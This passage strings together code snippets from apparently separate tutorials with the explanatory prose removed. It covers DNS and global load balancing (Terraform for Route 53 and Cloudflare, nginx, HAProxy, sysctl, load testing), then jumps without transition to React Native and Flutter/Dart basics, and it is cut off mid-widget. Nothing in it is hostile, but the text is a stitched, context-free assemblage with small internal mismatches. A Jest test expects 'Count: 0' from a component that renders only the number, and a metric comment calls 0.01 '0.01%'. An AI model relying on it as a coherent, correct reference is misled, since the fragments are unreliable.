  name    = "www.example.com"
  type    = "A"
  ttl     = 300

  geolocation_routing_policy {
    continent = "EU"
  }

  records = ["192.168.2.10"]
}

resource "aws_route53_record" "www_asia" {
  zone_id = aws_route53_zone.main.zone_id
  name    = "www.example.com"
  type    = "A"
  ttl     = 300

  geolocation_routing_policy {
    continent = "AS"
  }

  records = ["192.168.3.10"]
}

resource "aws_route53_record" "www_us_east" {
  zone_id = aws_route53_zone.main.zone_id
  name    = "www.example.com"
  type    = "A"
  ttl     = 300

  latency_routing_policy {
    region = "us-east-1"
  }

  records = [aws_eip.us_east.public_ip]
}

resource "aws_route53_record" "www_eu_west" {
  zone_id = aws_route53_zone.main.zone_id
  name    = "www.example.com"
  type    = "A"
  ttl     = 300

  latency_routing_policy {
    region = "eu-west-1"
  }

  records = [aws_eip.eu_west.public_ip]
}

resource "aws_route53_health_check" "primary" {
  ip_address        = "192.168.1.10"
  port              = 80
  type              = "HTTP"
  resource_path     = "/health"
  failure_threshold = 3
  request_interval  = 30
}

resource "aws_route53_record" "www_primary" {
  zone_id = aws_route53_zone.main.zone_id
  name    = "www.example.com"
  type    = "A"
  ttl     = 60

  failover_routing_policy {
    type = "PRIMARY"
  }

  health_check_id = aws_route53_health_check.primary.id
  records         = ["192.168.1.10"]
}

resource "aws_route53_record" "www_secondary" {
  zone_id = aws_route53_zone.main.zone_id
  name    = "www.example.com"
  type    = "A"
  ttl     = 60

  failover_routing_policy {
    type = "SECONDARY"
  }

  records = ["192.168.2.10"]
}

Problem: Clients cache DNS results
Impact: Can't instantly redirect traffic
Solution: Use low TTL (but increases DNS queries)

Problem: DNS returns IP even if server is down
Impact: Clients connect to failed servers
Solution: Use managed DNS (Route 53, CloudFlare) with health checks

Problem: Client-side caching, recursive resolvers
Impact: Some servers get more traffic
Solution: Combine with application-level load balancing

Problem: Different IPs returned for same client
Impact: Session loss
Solution: Use sticky load balancers behind DNS

; Quick failover (1 minute TTL)
www.example.com.  60  IN  A  192.168.1.10

; Less critical (5 minutes)
static.example.com.  300  IN  A  192.168.1.20

DNS → Multiple regions
  Each region → Load balancer
    Each load balancer → Multiple servers

Only return IPs of healthy endpoints
Automatic failover on health check failure

                        Internet
                           |
                    DNS/GSLB Layer
                    /      |      \
                   /       |       \
          US Data Center  EU Data Center  Asia Data Center
               |               |               |
          Regional LB      Regional LB     Regional LB
          /    |    \      /    |    \     /    |    \
        App1 App2 App3   App1 App2 App3  App1 App2 App3

# Health checks for each region
resource "aws_route53_health_check" "us_east" {
  type              = "HTTPS"
  resource_path     = "/health"
  fqdn              = "us-east.example.com"
  port              = 443
  failure_threshold = 3
  request_interval  = 30

  tags = {
    Name = "US East Health Check"
  }
}

resource "aws_route53_health_check" "eu_west" {
  type              = "HTTPS"
  resource_path     = "/health"
  fqdn              = "eu-west.example.com"
  port              = 443
  failure_threshold = 3
  request_interval  = 30

  tags = {
    Name = "EU West Health Check"
  }
}

# Multi-region failover
resource "aws_route53_record" "www" {
  zone_id = aws_route53_zone.main.zone_id
  name    = "www.example.com"
  type    = "A"

  # Geolocation + Latency + Failover
  set_identifier = "US-East-Primary"

  geolocation_routing_policy {
    continent = "NA"
  }

  alias {
    name                   = aws_lb.us_east.dns_name
    zone_id                = aws_lb.us_east.zone_id
    evaluate_target_health = true
  }

  health_check_id = aws_route53_health_check.us_east.id
}

resource "aws_route53_record" "www_eu" {
  zone_id = aws_route53_zone.main.zone_id
  name    = "www.example.com"
  type    = "A"

  set_identifier = "EU-West-Primary"

  geolocation_routing_policy {
    continent = "EU"
  }

  alias {
    name                   = aws_lb.eu_west.dns_name
    zone_id                = aws_lb.eu_west.zone_id
    evaluate_target_health = true
  }

  health_check_id = aws_route53_health_check.eu_west.id
}

# Default/fallback
resource "aws_route53_record" "www_default" {
  zone_id = aws_route53_zone.main.zone_id
  name    = "www.example.com"
  type    = "A"

  set_identifier = "Default"

  geolocation_routing_policy {
    continent = "*"
  }

  alias {
    name                   = aws_lb.us_east.dns_name
    zone_id                = aws_lb.us_east.zone_id
    evaluate_target_health = true
  }
}

# Origin pools (data centers)
resource "cloudflare_load_balancer_pool" "us_east_pool" {
  name = "us-east-pool"

  origins {
    name    = "us-east-1"
    address = "192.168.1.10"
    enabled = true
  }

  origins {
    name    = "us-east-2"
    address = "192.168.1.11"
    enabled = true
  }

  latitude  = 39.0
  longitude = -77.5

  check_regions = ["WNAM", "ENAM"]

  monitor = cloudflare_load_balancer_monitor.http_monitor.id
}

resource "cloudflare_load_balancer_pool" "eu_west_pool" {
  name = "eu-west-pool"

  origins {
    name    = "eu-west-1"
    address = "192.168.2.10"
    enabled = true
  }

  latitude  = 51.5
  longitude = -0.1

  monitor = cloudflare_load_balancer_monitor.http_monitor.id
}

# Health monitor
resource "cloudflare_load_balancer_monitor" "http_monitor" {
  type        = "http"
  port        = 80
  method      = "GET"
  path        = "/health"
  interval    = 60
  timeout     = 5
  retries     = 2
  expected_codes = "200"
}

# Global load balancer
resource "cloudflare_load_balancer" "global_lb" {
  zone_id          = var.cloudflare_zone_id
  name             = "www.example.com"
  fallback_pool_id = cloudflare_load_balancer_pool.us_east_pool.id
  default_pool_ids = [
    cloudflare_load_balancer_pool.us_east_pool.id,
    cloudflare_load_balancer_pool.eu_west_pool.id
  ]

  # Geographic steering
  region_pools {
    region   = "WNAM"
    pool_ids = [cloudflare_load_balancer_pool.us_east_pool.id]
  }

  region_pools {
    region   = "WEUR"
    pool_ids = [cloudflare_load_balancer_pool.eu_west_pool.id]
  }

  # Steering policy
  steering_policy = "geo"  # or "dynamic_latency", "random", "off"

  # Session affinity
  session_affinity = "cookie"
  session_affinity_ttl = 3600
}

Normal:
  US Users → US Data Center
  EU Users → EU Data Center

US Data Center Fails:
  US Users → EU Data Center (automatic failover)
  EU Users → EU Data Center

US Data Center High Latency:
  Some US Users → EU Data Center (dynamic routing)
  EU Users → EU Data Center

Planned US Maintenance:
  Gradually drain US traffic to EU
  Perform maintenance
  Restore US, gradually shift traffic back

              Internet
                 |
            CloudFlare
                 |
          AWS ALB (Layer 7)
           /    |    \
          /     |     \
     EC2-1   EC2-2   EC2-3
      \       |       /
       \      |      /
         RDS (Read Replicas)
              |
        RDS Primary

# Application Load Balancer
resource "aws_lb" "app_lb" {
  name               = "app-lb"
  internal           = false
  load_balancer_type = "application"
  security_groups    = [aws_security_group.lb_sg.id]
  subnets            = aws_subnet.public.*.id

  enable_deletion_protection = true
  enable_http2              = true
}

# Target group with health checks
resource "aws_lb_target_group" "app_tg" {
  name     = "app-tg"
  port     = 80
  protocol = "HTTP"
  vpc_id   = aws_vpc.main.id

  health_check {
    path                = "/health"
    interval            = 30
    timeout             = 5
    healthy_threshold   = 2
    unhealthy_threshold = 2
  }

  stickiness {
    type            = "lb_cookie"
    cookie_duration = 86400
    enabled         = false
  }
}

# Auto-scaling group
resource "aws_autoscaling_group" "app_asg" {
  name                = "app-asg"
  vpc_zone_identifier = aws_subnet.private.*.id
  target_group_arns   = [aws_lb_target_group.app_tg.arn]

  min_size         = 2
  max_size         = 10
  desired_capacity = 3

  launch_template {
    id      = aws_launch_template.app_lt.id
    version = "$Latest"
  }

  tag {
    key                 = "Name"
    value               = "app-server"
    propagate_at_launch = true
  }
}

                 Internet
                    |
              API Gateway
                    |
              Kubernetes
                    |
          Ingress Controller
           /       |        \
          /        |         \
    Service A  Service B  Service C
      |  |       |  |       |  |
    Pod Pod    Pod Pod    Pod Pod

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: app-ingress
  annotations:
    nginx.ingress.kubernetes.io/rewrite-target: /
    nginx.ingress.kubernetes.io/ssl-redirect: "true"
    nginx.ingress.kubernetes.io/rate-limit: "100"
    nginx.ingress.kubernetes.io/load-balance: "ewma"
spec:
  ingressClassName: nginx
  tls:
  - hosts:
    - api.example.com
    secretName: tls-secret
  rules:
  - host: api.example.com
    http:
      paths:
      - path: /users
        pathType: Prefix
        backend:
          service:
            name: user-service
            port:
              number: 80
      - path: /orders
        pathType: Prefix
        backend:
          service:
            name: order-service
            port:
              number: 80
      - path: /products
        pathType: Prefix
        backend:
          service:
            name: product-service
            port:
              number: 80

apiVersion: v1
kind: Service
metadata:
  name: user-service
spec:
  type: ClusterIP
  selector:
    app: user-service
  ports:
  - protocol: TCP
    port: 80
    targetPort: 8080
  sessionAffinity: ClientIP
  sessionAffinityConfig:
    clientIP:
      timeoutSeconds: 10800

---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: user-service
spec:
  replicas: 3
  selector:
    matchLabels:
      app: user-service
  template:
    metadata:
      labels:
        app: user-service
    spec:
      containers:
      - name: user-service
        image: user-service:v1.0
        ports:
        - containerPort: 8080
        livenessProbe:
          httpGet:
            path: /health
            port: 8080
          initialDelaySeconds: 30
          periodSeconds: 10
        readinessProbe:
          httpGet:
            path: /ready
            port: 8080
          initialDelaySeconds: 5
          periodSeconds: 5

                    Global Users
                         |
                  Route 53 (GSLB)
                   /      |      \
                  /       |       \
         US Region    EU Region   Asia Region
             |            |            |
         CloudFront   CloudFront   CloudFront
             |            |            |
           ALB          ALB          ALB
          /   \        /   \        /   \
       App1  App2   App1  App2   App1  App2
         \     /      \     /      \     /
         Aurora      Aurora        Aurora
           |            |            |
      (Read Replicas across regions)
             \          |          /
              \         |         /
               Global Aurora Cluster

upstream backend {
    server backend1.example.com:8080;
    server backend2.example.com:8080;

    # Connection pool
    keepalive 64;           # Keep 64 idle connections
    keepalive_requests 100; # Max requests per connection
    keepalive_timeout 60s;  # Idle timeout
}

server {
    location / {
        proxy_pass http://backend;
        proxy_http_version 1.1;
        proxy_set_header Connection "";
    }
}

proxy_buffering on;
proxy_buffer_size 4k;
proxy_buffers 8 4k;
proxy_busy_buffers_size 8k;
proxy_max_temp_file_size 1024m;

proxy_connect_timeout 5s;   # Connection to backend
proxy_send_timeout 10s;     # Sending request
proxy_read_timeout 10s;     # Reading response

# Client timeouts
client_body_timeout 12s;
client_header_timeout 12s;
send_timeout 10s;

# nginx.conf
user nginx;
worker_processes auto;  # One per CPU core
worker_rlimit_nofile 100000;

events {
    worker_connections 4096;  # Max connections per worker
    use epoll;                # Efficient I/O method
    multi_accept on;          # Accept multiple connections
}

Max connections = worker_processes * worker_connections
Example: 8 cores * 4096 = 32,768 concurrent connections

# /etc/sysctl.conf

# TCP settings
net.core.somaxconn = 65535
net.core.netdev_max_backlog = 5000
net.ipv4.tcp_max_syn_backlog = 8192

# Connection tracking
net.ipv4.tcp_fin_timeout = 30
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_timestamps = 1

# Buffer sizes
net.core.rmem_max = 16777216
net.core.wmem_max = 16777216
net.ipv4.tcp_rmem = 4096 87380 16777216
net.ipv4.tcp_wmem = 4096 65536 16777216

# Congestion control
net.ipv4.tcp_congestion_control = bbr

# File descriptors
fs.file-max = 2097152

# Apply settings
sysctl -p

global
    maxconn 100000
    nbproc 8  # Number of processes
    cpu-map auto:1/1-8 0-7

    # Buffers
    tune.bufsize 32768
    tune.maxrewrite 1024

    # SSL
    ssl-default-bind-ciphers ECDHE-ECDSA-AES128-GCM-SHA256
    tune.ssl.default-dh-param 2048
    tune.ssl.cachesize 100000
    tune.ssl.lifetime 600

defaults
    maxconn 10000

    # Timeouts
    timeout connect 5s
    timeout client 50s
    timeout server 50s
    timeout http-keep-alive 10s
    timeout queue 30s

    # Performance
    option http-server-close
    option forwardfor

performance_metrics = {
    # Throughput
    'requests_per_second': 1000,
    'bytes_per_second': 10_000_000,

    # Latency
    'avg_response_time': 50,      # ms
    'p50_response_time': 45,      # ms
    'p95_response_time': 120,     # ms
    'p99_response_time': 250,     # ms

    # Connection metrics
    'active_connections': 5000,
    'queued_connections': 10,
    'dropped_connections': 0,

    # Backend metrics
    'backend_response_time': 45,  # ms
    'lb_processing_time': 5,      # ms

    # Error rates
    'error_rate': 0.01,           # 0.01%
    'timeout_rate': 0.001,        # 0.001%

    # Resource utilization
    'cpu_usage': 60,              # %
    'memory_usage': 45,           # %
    'network_bandwidth': 800,     # Mbps
}

# Request rate
rate(http_requests_total[5m])

# Average response time
rate(http_request_duration_seconds_sum[5m]) / rate(http_request_duration_seconds_count[5m])

# 95th percentile latency
histogram_quantile(0.95, rate(http_request_duration_seconds_bucket[5m]))

# Error rate
rate(http_requests_total{status=~"5.."}[5m]) / rate(http_requests_total[5m])

# Backend health
avg(lb_backend_health) by (backend)

# Simple load test
ab -n 10000 -c 100 http://example.com/

# With keepalive
ab -n 10000 -c 100 -k http://example.com/

# POST requests
ab -n 1000 -c 10 -p data.json -T application/json http://example.com/api

# Basic test
wrk -t12 -c400 -d30s http://example.com/

# With script
wrk -t12 -c400 -d30s -s script.lua http://example.com/

from locust import HttpUser, task, between

class WebsiteUser(HttpUser):
    wait_time = between(1, 5)

    @task(3)
    def index(self):
        self.client.get("/")

    @task(1)
    def api(self):
        self.client.get("/api/users")

    @task(1)
    def post_data(self):
        self.client.post("/api/data", json={"key": "value"})

locust -f loadtest.py --host=http://example.com --users 1000 --spawn-rate 10

from retrying import retry

@retry(
    stop_max_attempt_number=3,
    wait_exponential_multiplier=1000,
    wait_exponential_max=10000
)
def call_backend_service():
    # Will retry up to 3 times with exponential backoff
    return requests.get('http://backend/api')

Layer 1: DNS/GSLB (Geographic distribution)
Layer 2: CDN (Static content, DDoS protection)
Layer 3: L7 Load Balancer (Application routing)
Layer 4: L4 Load Balancer (High performance)
Layer 5: Service Mesh (Microservices)

Critical services: Every 5 seconds
Normal services: Every 10-30 seconds
Deep checks: Every 1-5 minutes

# Example calculation
monthly_users = 1_000_000
requests_per_user_per_day = 10
peak_multiplier = 3  # Peak is 3x average

average_rps = (monthly_users * requests_per_user_per_day) / (30 * 24 * 3600)
peak_rps = average_rps * peak_multiplier

# Add 50% headroom
required_capacity = peak_rps * 1.5

print(f"Required capacity: {required_capacity:.0f} RPS")

limit_req_zone $binary_remote_addr zone=one:10m rate=10r/s;
limit_req zone=one burst=20 nodelay;

Single load balancer fails → Entire system down

Active-Passive or Active-Active load balancers
Use managed load balancers with built-in redundancy

Sticky sessions → Uneven load distribution
Session loss on server failure

Use centralized session store (Redis)
Use stateless authentication (JWT)

Health check always returns 200 → Unhealthy servers receive traffic
Health check too expensive → Overloads servers

@app.route('/health')
def health_check():
    # Check critical dependencies
    checks = {
        'database': quick_db_ping(),  # Simple query
        'cache': redis_ping(),
        'disk_space': check_disk_space() > 10  # 10% minimum
    }

    if all(checks.values()):
        return {'status': 'healthy'}, 200
    else:
        return {'status': 'unhealthy', 'checks': checks}, 503

Backend has 1000 max connections
Load balancer sends 2000 connections
→ Backend overloaded

Configure connection limits in load balancer
Monitor backend capacity
Implement backpressure

One backend slow → Load balancer waits → Other requests queue → All backends slow

Aggressive timeouts
Circuit breakers
Rate limiting
Request queuing limits

# Install Node.js (14+)
node --version
npm --version

# Install Watchman (macOS)
brew install watchman

# Install Xcode (macOS, for iOS development)
# Install Android Studio (for Android development)

# Using React Native CLI
npx react-native init MyApp
cd MyApp

# Using Expo (recommended for beginners)
npx create-expo-app MyApp
cd MyApp
npx expo start

# React Native CLI
# iOS
npx react-native run-ios

# Android
npx react-native run-android

# Expo
npx expo start
# Then press 'i' for iOS or 'a' for Android

import React from 'react';
import { View, Text, StyleSheet } from 'react-native';

export default function App() {
  return (
    <View style={styles.container}>
      <Text style={styles.title}>Hello React Native!</Text>
      <Text style={styles.subtitle}>Welcome to mobile development</Text>
    </View>
  );
}

const styles = StyleSheet.create({
  container: {
    flex: 1,
    justifyContent: 'center',
    alignItems: 'center',
    backgroundColor: '#fff',
  },
  title: {
    fontSize: 24,
    fontWeight: 'bold',
    marginBottom: 10,
  },
  subtitle: {
    fontSize: 16,
    color: '#666',
  },
});

import { Button, TouchableOpacity, Alert } from 'react-native';

function MyComponent() {
  const handlePress = () => {
    Alert.alert('Button Pressed', 'You clicked the button!');
  };

  return (
    <View>
      {/* Basic Button */}
      <Button title="Click Me" onPress={handlePress} color="#007AFF" />

      {/* Custom Touchable */}
      <TouchableOpacity
        style={styles.customButton}
        onPress={handlePress}
        activeOpacity={0.7}
      >
        <Text style={styles.buttonText}>Custom Button</Text>
      </TouchableOpacity>
    </View>
  );
}

const styles = StyleSheet.create({
  customButton: {
    backgroundColor: '#007AFF',
    padding: 15,
    borderRadius: 8,
    alignItems: 'center',
    marginTop: 10,
  },
  buttonText: {
    color: 'white',
    fontSize: 16,
    fontWeight: 'bold',
  },
});

import { useState } from 'react';
import { TextInput } from 'react-native';

function LoginForm() {
  const [email, setEmail] = useState('');
  const [password, setPassword] = useState('');

  return (
    <View style={styles.form}>
      <TextInput
        style={styles.input}
        placeholder="Email"
        value={email}
        onChangeText={setEmail}
        keyboardType="email-address"
        autoCapitalize="none"
        autoCorrect={false}
      />

      <TextInput
        style={styles.input}
        placeholder="Password"
        value={password}
        onChangeText={setPassword}
        secureTextEntry
        autoCapitalize="none"
      />

      <Button
        title="Login"
        onPress={() => handleLogin(email, password)}
      />
    </View>
  );
}

import { ScrollView, FlatList } from 'react-native';

// ScrollView - for small lists
function SimpleList() {
  return (
    <ScrollView>
      {items.map((item) => (
        <View key={item.id} style={styles.item}>
          <Text>{item.name}</Text>
        </View>
      ))}
    </ScrollView>
  );
}

// FlatList - for large lists (better performance)
function OptimizedList() {
  const DATA = [
    { id: '1', title: 'Item 1' },
    { id: '2', title: 'Item 2' },
    { id: '3', title: 'Item 3' },
  ];

  const renderItem = ({ item }) => (
    <View style={styles.item}>
      <Text style={styles.title}>{item.title}</Text>
    </View>
  );

  return (
    <FlatList
      data={DATA}
      renderItem={renderItem}
      keyExtractor={(item) => item.id}
      onRefresh={() => refreshData()}
      refreshing={loading}
    />
  );
}

import { Image } from 'react-native';

function ImageExample() {
  return (
    <View>
      {/* Local Image */}
      <Image
        source={require('./assets/logo.png')}
        style={{ width: 100, height: 100 }}
        resizeMode="contain"
      />

      {/* Remote Image */}
      <Image
        source={{ uri: 'https://example.com/image.jpg' }}
        style={{ width: 200, height: 200 }}
        resizeMode="cover"
      />
    </View>
  );
}

import { StyleSheet } from 'react-native';

const styles = StyleSheet.create({
  container: {
    flex: 1,
    padding: 20,
    backgroundColor: '#f5f5f5',
  },
  card: {
    backgroundColor: 'white',
    borderRadius: 8,
    padding: 15,
    marginBottom: 10,
    shadowColor: '#000',
    shadowOffset: { width: 0, height: 2 },
    shadowOpacity: 0.1,
    shadowRadius: 4,
    elevation: 3, // Android shadow
  },
  title: {
    fontSize: 18,
    fontWeight: 'bold',
    marginBottom: 5,
  },
});

// Flex Direction
<View style={{ flex: 1, flexDirection: 'row' }}>
  <View style={{ flex: 1, backgroundColor: 'red' }} />
  <View style={{ flex: 2, backgroundColor: 'blue' }} />
</View>

// Justify Content
<View style={{ flex: 1, justifyContent: 'space-between' }}>
  <Text>Top</Text>
  <Text>Middle</Text>
  <Text>Bottom</Text>
</View>

// Align Items
<View style={{ flex: 1, alignItems: 'center' }}>
  <Text>Centered Horizontally</Text>
</View>

import { Dimensions, Platform } from 'react-native';

const { width, height } = Dimensions.get('window');

const styles = StyleSheet.create({
  container: {
    width: width * 0.9, // 90% of screen width
    padding: width < 350 ? 10 : 20, // Conditional padding
  },
  image: {
    width: width - 40,
    height: (width - 40) * 0.6, // Aspect ratio
  },
  platformSpecific: {
    ...Platform.select({
      ios: {
        shadowColor: '#000',
        shadowOffset: { width: 0, height: 2 },
        shadowOpacity: 0.3,
        shadowRadius: 4,
      },
      android: {
        elevation: 5,
      },
    }),
  },
});

npm install @react-navigation/native
npm install react-native-screens react-native-safe-area-context
npm install @react-navigation/stack

import { NavigationContainer } from '@react-navigation/native';
import { createStackNavigator } from '@react-navigation/stack';

const Stack = createStackNavigator();

function HomeScreen({ navigation }) {
  return (
    <View style={styles.container}>
      <Text>Home Screen</Text>
      <Button
        title="Go to Details"
        onPress={() => navigation.navigate('Details', { itemId: 42 })}
      />
    </View>
  );
}

function DetailsScreen({ route, navigation }) {
  const { itemId } = route.params;

  return (
    <View style={styles.container}>
      <Text>Details Screen</Text>
      <Text>Item ID: {itemId}</Text>
      <Button title="Go Back" onPress={() => navigation.goBack()} />
    </View>
  );
}

export default function App() {
  return (
    <NavigationContainer>
      <Stack.Navigator
        initialRouteName="Home"
        screenOptions={{
          headerStyle: { backgroundColor: '#007AFF' },
          headerTintColor: '#fff',
          headerTitleStyle: { fontWeight: 'bold' },
        }}
      >
        <Stack.Screen
          name="Home"
          component={HomeScreen}
          options={{ title: 'Welcome' }}
        />
        <Stack.Screen name="Details" component={DetailsScreen} />
      </Stack.Navigator>
    </NavigationContainer>
  );
}

import { createBottomTabNavigator } from '@react-navigation/bottom-tabs';
import Ionicons from 'react-native-vector-icons/Ionicons';

const Tab = createBottomTabNavigator();

export default function App() {
  return (
    <NavigationContainer>
      <Tab.Navigator
        screenOptions={({ route }) => ({
          tabBarIcon: ({ focused, color, size }) => {
            let iconName;

            if (route.name === 'Home') {
              iconName = focused ? 'home' : 'home-outline';
            } else if (route.name === 'Settings') {
              iconName = focused ? 'settings' : 'settings-outline';
            }

            return <Ionicons name={iconName} size={size} color={color} />;
          },
          tabBarActiveTintColor: '#007AFF',
          tabBarInactiveTintColor: 'gray',
        })}
      >
        <Tab.Screen name="Home" component={HomeScreen} />
        <Tab.Screen name="Settings" component={SettingsScreen} />
      </Tab.Navigator>
    </NavigationContainer>
  );
}

import React, { createContext, useContext, useState } from 'react';

const AuthContext = createContext();

export function AuthProvider({ children }) {
  const [user, setUser] = useState(null);

  const login = async (email, password) => {
    // API call
    const response = await fetch('/api/login', {
      method: 'POST',
      body: JSON.stringify({ email, password }),
    });
    const data = await response.json();
    setUser(data.user);
  };

  const logout = () => {
    setUser(null);
  };

  return (
    <AuthContext.Provider value={{ user, login, logout }}>
      {children}
    </AuthContext.Provider>
  );
}

export function useAuth() {
  return useContext(AuthContext);
}

// Usage
function ProfileScreen() {
  const { user, logout } = useAuth();

  return (
    <View>
      <Text>Welcome, {user?.name}</Text>
      <Button title="Logout" onPress={logout} />
    </View>
  );
}

npm install @reduxjs/toolkit react-redux

import { createSlice, configureStore } from '@reduxjs/toolkit';
import { Provider, useSelector, useDispatch } from 'react-redux';

// Slice
const counterSlice = createSlice({
  name: 'counter',
  initialState: { value: 0 },
  reducers: {
    increment: (state) => {
      state.value += 1;
    },
    decrement: (state) => {
      state.value -= 1;
    },
  },
});

export const { increment, decrement } = counterSlice.actions;

// Store
const store = configureStore({
  reducer: {
    counter: counterSlice.reducer,
  },
});

// Component
function Counter() {
  const count = useSelector((state) => state.counter.value);
  const dispatch = useDispatch();

  return (
    <View>
      <Text>{count}</Text>
      <Button title="+" onPress={() => dispatch(increment())} />
      <Button title="-" onPress={() => dispatch(decrement())} />
    </View>
  );
}

// App
export default function App() {
  return (
    <Provider store={store}>
      <Counter />
    </Provider>
  );
}

import { useState, useEffect } from 'react';

function UserProfile({ userId }) {
  const [user, setUser] = useState(null);
  const [loading, setLoading] = useState(true);
  const [error, setError] = useState(null);

  useEffect(() => {
    fetchUser();
  }, [userId]);

  const fetchUser = async () => {
    try {
      setLoading(true);
      const response = await fetch(`https://api.example.com/users/${userId}`);

      if (!response.ok) {
        throw new Error('Failed to fetch user');
      }

      const data = await response.json();
      setUser(data);
    } catch (err) {
      setError(err.message);
    } finally {
      setLoading(false);
    }
  };

  if (loading) return <Text>Loading...</Text>;
  if (error) return <Text>Error: {error}</Text>;

  return (
    <View>
      <Text>{user.name}</Text>
      <Text>{user.email}</Text>
    </View>
  );
}

npm install axios

import axios from 'axios';

const api = axios.create({
  baseURL: 'https://api.example.com',
  timeout: 10000,
  headers: {
    'Content-Type': 'application/json',
  },
});

// Interceptors
api.interceptors.request.use(
  (config) => {
    const token = getToken();
    if (token) {
      config.headers.Authorization = `Bearer ${token}`;
    }
    return config;
  },
  (error) => Promise.reject(error)
);

api.interceptors.response.use(
  (response) => response,
  (error) => {
    if (error.response?.status === 401) {
      // Handle unauthorized
      logout();
    }
    return Promise.reject(error);
  }
);

// Usage
const fetchUsers = async () => {
  const response = await api.get('/users');
  return response.data;
};

const createUser = async (userData) => {
  const response = await api.post('/users', userData);
  return response.data;
};

// Camera
import { Camera } from 'expo-camera';

function CameraScreen() {
  const [hasPermission, setHasPermission] = useState(null);

  useEffect(() => {
    (async () => {
      const { status } = await Camera.requestCameraPermissionsAsync();
      setHasPermission(status === 'granted');
    })();
  }, []);

  if (hasPermission === null) {
    return <View />;
  }

  return (
    <Camera style={{ flex: 1 }} type={Camera.Constants.Type.back}>
      {/* Camera UI */}
    </Camera>
  );
}

// Location
import * as Location from 'expo-location';

const getLocation = async () => {
  const { status } = await Location.requestForegroundPermissionsAsync();

  if (status !== 'granted') {
    return;
  }

  const location = await Location.getCurrentPositionAsync({});
  console.log(location.coords);
};

// Notifications
import * as Notifications from 'expo-notifications';

const sendNotification = async () => {
  await Notifications.scheduleNotificationAsync({
    content: {
      title: "You've got mail!",
      body: 'Here is the notification body',
    },
    trigger: { seconds: 2 },
  });
};

import React, { useMemo, useCallback } from 'react';

function ExpensiveComponent({ data }) {
  // Memoize expensive calculations
  const processedData = useMemo(() => {
    return data.map((item) => {
      // Expensive operation
      return processItem(item);
    });
  }, [data]);

  // Memoize callbacks
  const handlePress = useCallback(() => {
    console.log('Button pressed');
  }, []);

  return (
    <View>
      {processedData.map((item) => (
        <Item key={item.id} data={item} onPress={handlePress} />
      ))}
    </View>
  );
}

// Memo component
const Item = React.memo(({ data, onPress }) => {
  return (
    <TouchableOpacity onPress={onPress}>
      <Text>{data.name}</Text>
    </TouchableOpacity>
  );
});

<FlatList
  data={data}
  renderItem={renderItem}
  keyExtractor={(item) => item.id}
  // Performance optimizations
  removeClippedSubviews={true}
  maxToRenderPerBatch={10}
  updateCellsBatchingPeriod={50}
  initialNumToRender={10}
  windowSize={10}
  getItemLayout={(data, index) => ({
    length: ITEM_HEIGHT,
    offset: ITEM_HEIGHT * index,
    index,
  })}
/>

npm install --save-dev @testing-library/react-native

import { render, fireEvent } from '@testing-library/react-native';
import Counter from './Counter';

describe('Counter', () => {
  it('renders correctly', () => {
    const { getByText } = render(<Counter />);
    expect(getByText('Count: 0')).toBeTruthy();
  });

  it('increments counter', () => {
    const { getByText, getByTestId } = render(<Counter />);
    const button = getByTestId('increment-button');

    fireEvent.press(button);

    expect(getByText('Count: 1')).toBeTruthy();
  });
});

# Build for release
npx react-native run-ios --configuration Release

# Or with Xcode
# Open ios/YourApp.xcworkspace
# Select Generic iOS Device
# Product > Archive
# Upload to App Store

# Generate release APK
cd android
./gradlew assembleRelease

# APK location:
# android/app/build/outputs/apk/release/app-release.apk

# Generate AAB (App Bundle)
./gradlew bundleRelease

# Download Flutter SDK
# https://flutter.dev/docs/get-started/install/macos

# Add to PATH
export PATH="$PATH:`pwd`/flutter/bin"

# Run doctor
flutter doctor

# Install Xcode
# Install Android Studio

# Download Flutter SDK
# https://flutter.dev/docs/get-started/install/windows

# Add to PATH
# Run flutter doctor

# Create project
flutter create my_app
cd my_app

# Run on iOS
flutter run -d ios

# Run on Android
flutter run -d android

# Run on web
flutter run -d chrome

my_app/
├── android/          # Android-specific code
├── ios/              # iOS-specific code
├── lib/              # Dart source code
│   ├── main.dart    # Entry point
│   ├── screens/     # Screen widgets
│   ├── widgets/     # Reusable widgets
│   ├── models/      # Data models
│   ├── services/    # API services
│   └── utils/       # Utilities
├── test/            # Tests
├── pubspec.yaml     # Dependencies
└── README.md

// Variables
var name = 'John';
String city = 'New York';
int age = 30;
double height = 5.9;
bool isActive = true;

// Final and const
final String country = 'USA';        // Runtime constant
const double pi = 3.14159;           // Compile-time constant

// Null safety
String? nullableName;                // Can be null
String nonNullName = 'John';         // Cannot be null

// Late initialization
late String description;

// Basic function
String greet(String name) {
  return 'Hello, $name!';
}

// Arrow function
String greet(String name) => 'Hello, $name!';

// Optional parameters
String greet(String name, [String? title]) {
  return title != null ? 'Hello, $title $name!' : 'Hello, $name!';
}

// Named parameters
String greet({required String name, String title = 'Mr.'}) {
  return 'Hello, $title $name!';
}

// Async function
Future<String> fetchData() async {
  await Future.delayed(Duration(seconds: 2));
  return 'Data loaded';
}

class User {
  String name;
  int age;

  // Constructor
  User(this.name, this.age);

  // Named constructor
  User.guest() : name = 'Guest', age = 0;

  // Method
  String introduce() {
    return 'I am $name, $age years old';
  }

  // Getter
  bool get isAdult => age >= 18;

  // Setter
  set updateAge(int newAge) {
    if (newAge > 0) age = newAge;
  }
}

// Usage
var user = User('John', 30);
print(user.introduce());
print(user.isAdult);

// Lists
List<String> names = ['John', 'Jane', 'Bob'];
names.add('Alice');
names.remove('Bob');

// Maps
Map<String, int> ages = {
  'John': 30,
  'Jane': 28,
};
ages['Bob'] = 35;

// Iteration
names.forEach((name) => print(name));
ages.forEach((key, value) => print('$key: $value'));

import 'package:flutter/material.dart';

class WelcomeScreen extends StatelessWidget {
  final String title;

  const WelcomeScreen({Key? key, required this.title}) : super(key: key);

  @override
  Widget build(BuildContext context) {
    return Scaffold(
      appBar: AppBar(
        title: Text(title),
      ),
      body: Center(
        child: Text(
          'Welcome to Flutter!',
          style: TextStyle(fontSize: 24),
        ),
      ),
    );
  }
}

class CounterScreen extends StatefulWidget {
  @override
  _CounterScreenState createState() => _CounterScreenState();
}

class _CounterScreenState extends State<CounterScreen> {
  int _counter = 0;

  void _incrementCounter() {
    setState(() {
      _counter++;
    });
  }

  @override
  Widget build(BuildContext context) {
    return Scaffold(
      appBar: AppBar(
        title: Text('Counter'),
      ),
      body: Center(
        child: Column(
          mainAxisAlignment: MainAxisAlignment.center,
          children: [
            Text('Count:'),
            Text(
              '$_counter',
              style: TextStyle(fontSize: 48, fontWeight: FontWeight.bold),
            ),
          ],
        ),
